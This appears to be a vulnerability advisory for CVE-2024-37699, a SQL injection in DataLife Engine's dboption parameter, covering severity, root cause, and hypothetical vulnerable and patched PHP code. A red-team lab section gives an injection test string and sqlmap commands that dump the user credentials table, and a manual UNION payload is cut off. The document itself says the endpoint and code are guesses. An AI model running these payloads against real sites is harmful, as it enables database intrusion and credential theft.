CVE-2024-37699

Executive Summary

CVE-2024-37699 is a critical SQL Injection vulnerability discovered in DataLife Engine (DLE) version 17.1 and earlier. The flaw resides in the dboption component, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. Successful exploitation could lead to complete compromise of the database, including extraction of user credentials, session tokens, and sensitive site data. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and is assigned CWE-89 (SQL Injection).

Supply Chain & Package Security

DataLife Engine is a proprietary content management system (CMS) written in PHP. It is not distributed via NPM, PyPI, Go, or Ruby package managers. The risk is limited to direct installations of the CMS on web servers. Organizations using DLE should treat this as a high-priority supply chain risk due to the lack of a vendor patch.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, making it a critical threat. The EPSS score of 0.0% indicates low exploitation activity in the wild at the time of analysis, but this may change as more details emerge.

Deep Dive & Mechanics

The SQL injection occurs in the dboption parameter, likely within the administrative or user-facing interface of DataLife Engine. The application fails to sanitize user-supplied input before incorporating it into SQL queries. An attacker can inject SQL statements by crafting a malicious request to the vulnerable endpoint.

Root Cause: The dboption parameter is directly concatenated into a SQL query without proper parameterization or escaping. For example, a vulnerable code snippet might look like:

$query = "SELECT * FROM settings WHERE option = '" . $_GET['dboption'] . "'";

This allows an attacker to break out of the string context and execute arbitrary SQL.

Impact: Full database read/write access, potential for remote code execution via INTO OUTFILE or stored procedures, and complete site takeover.

Vulnerable vs. Patched Code

Vulnerable Code (DLE <= 17.1):

// dboption.php (hypothetical)
$option = $_GET['dboption'];
$result = $db->query("SELECT value FROM dle_config WHERE name = '$option'");

Patched Code (Hypothetical):

// dboption.php (patched)
$option = $db->escape_string($_GET['dboption']);
$result = $db->query("SELECT value FROM dle_config WHERE name = '$option'");

The patched version uses escape_string() to sanitize input. However, since no official patch exists, the recommended fix is to use prepared statements:

$stmt = $db->prepare("SELECT value FROM dle_config WHERE name = ?");
$stmt->bind_param("s", $_GET['dboption']);
$stmt->execute();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: DataLife Engine 17.1 running on Apache/Nginx with PHP 7.x
• Attacker: Kali Linux with sqlmap and Burp Suite

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /admin/dboption.php?dboption=test).
2. Confirm injection with a simple payload:

   GET /admin/dboption.php?dboption=test' OR '1'='1
   

3. Use sqlmap for automated exploitation:

   sqlmap -u "http://target/admin/dboption.php?dboption=1" --batch --dbs
   

4. Extract user credentials from the dle_users table:

   sqlmap -u "http://target/admin/dboption.php?dboption=1" --batch -D dle_db -T dle_users --dump
   

Manual Payload Example:

' UNION SELECT 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